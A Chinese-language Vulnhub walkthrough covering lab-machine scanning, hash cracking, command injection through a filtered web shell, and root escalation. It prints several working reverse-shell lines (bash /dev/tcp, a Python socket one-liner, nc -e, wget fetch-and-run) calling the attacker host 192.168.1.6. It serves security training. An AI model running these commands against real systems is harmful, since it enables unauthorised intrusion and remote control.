工具及漏洞信息#
- netdiscover
- nmap
- dirb
- dirsearch
- gobuster
- linux 反彈 shell
- wget 文件下載
- linux 下 string 命令
- sudo -l 查看用戶可執行命令
** 部分工具的用法和詳細說明請參考此系列的第一篇文章:bossplayersCTF:1-Vulnhub Walkthrough **
0x00 信息收集#
掃描靶機信息#
netdiscover
的-r
參數掃描192.168.1.0/16
結果如下:
nmap
掃描主機及端口信息:
nmap -sS -A -n -T4 -p- 192.168.1.158
WSGI:全稱是 Web Server Gateway Interface,WSGI 不是伺服器、python 模組、框架、API 或者任何軟體,只是一種規範,描述 webserver 如何與 web application 通信的規範。
掃描路徑#
dirb
掃描路徑:
dirb http://192.168.1.158
使用dirsearch
掃描出來的結果好像沒有dirb
的全,當然也可能是字典原因
python3 dirsearch.py -t 50 -e .php,.txt,.zip,.html -x 400,403,404,500,503,514,564 -u http://192.168.1.8
gobuster
掃描也不給力:
gobuster dir -u http://192.168.1.8 -s 200,301,302 -t 50 -q -w /usr/share/seclists/Discovery/Web-Content/big.txt
訪問路徑#
/admin
目錄是個django
的管理員登錄界面,常規的弱口令不管用
/dev
界面上有一些開發人員的郵箱,用的都是公司的郵箱
查看網頁源碼可以看到一些用戶的密碼哈希值:
也可以使用國外批量破解hash
網站hashkiller
但這網站需要開啟全局,你懂的
解密出兩對帳號密碼:nick/bulldog
和sara/bulldoglover
那個超明顯的web-shell
按鈕跳轉到了dev/shell
但是界面提示需要認證:
這裡先不能做文章
0x01 獲取 shell#
目錄基本訪問完了,嘗試用我們解密得到的帳號密碼登錄/admin
管理員界面
使用兩對帳號密碼登錄後的界面都提示沒有權限編輯任何東西
看起來毫無頭緒,但當你重新訪問原來提示你需要認證的/dev/shell
界面時
它已悄然發生了變化
根據頁面提示,我們只能執行它列出來的幾個命令
但是我們可以使用 & 將多個命令進行拼接,那麼就可以繞過限制
接下來我們現在kali
上監聽,然後嘗試幾種常用的shell
反彈方式
nc -lvp 4444
1. 使用bash
反彈
pwd&bash -i >& /dev/tcp/192.168.1.6/4444 0>&1
bash -i 表示產生一個 bash 的交互環境
0>&1 將標準輸入域標準輸出內容相結合,然後重定向給前面的標準輸出內容
實測沒有反彈成功
2. 使用python
反彈
嘗試使用一句話python
彈shell
:
pwd&python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.6",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
提示如下:
INVALID COMMAND. I CAUGHT YOU HACKER! ';' CAN BE USED TO EXECUTE MULTIPLE COMMANDS!!
;
被過濾了,不能直接在交互的地方執行命令,那我們就把它放在腳本裡
python -c "import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.1.6",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);"
存為python-shell.py
,移入apache2
默認目錄/var/www/html
開啟apache2
服務:service apache2 start
在web-shell
界面執行:
pwd&wget http://192.168.1.6/python-shell.py
pwd&python python-shell.py
我實測也沒有成功,但是大佬有成功的
3. 使用nc
反彈 (需要靶機上有 nc)
nc -e /bin/bash 192.168.1.6 4444
4. 通過echo
反彈 (成功)
echo 'bash -i >& /dev/tcp/192.168.1.6/4444 0>&1' | bash
0x02 提權 root#
發現 home 目錄下有一個 bulldogadmin,那麼優先查看這個目錄。結果執行 ls
命令時沒有發現任何東西,然後我執行了 ls -a,發現了隱藏的文件夾。
我們進入這個.hiddenadmindirectory
文件夾,發現一個註釋文件:
用file
命令查看下這個用戶文件是啥:
發現是個ELF
文件,ELF
文件簡單來說就是 Linux 的主要可執行文件格式。
執行strings customPermissionApp
,有很多的字符串,其中有一段引起了我的注意:
GLIBC_2.2.5
UH-H
SUPERultH
imatePASH
SWORDyouH
CANTget
dH34%(
AWAVA
AUATL
[]A\A]A^A_
Please enter a valid username to use root privileges
Usage: ./customPermissionApp <username>
sudo su root
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crtstuff.c
在我們的程序中,有一個用 “strings” 命令找到的硬編碼密碼。
假設 H 是行尾或某個末端的片段,那我們就得到了個密碼SUPERultimatePASSWORDyouCANTget
大膽猜測,這就是note
裡面說的django
用戶的密碼
根據我們上面掃描獲得的信息,ssh
端口在 23,於是我們直接ssh
連接:
ssh -p 23 django@192.168.1.8
連接後sudo su
切換root
用戶,只需要django
用戶的密碼即可,成功get root shell
本文完。
參考文章: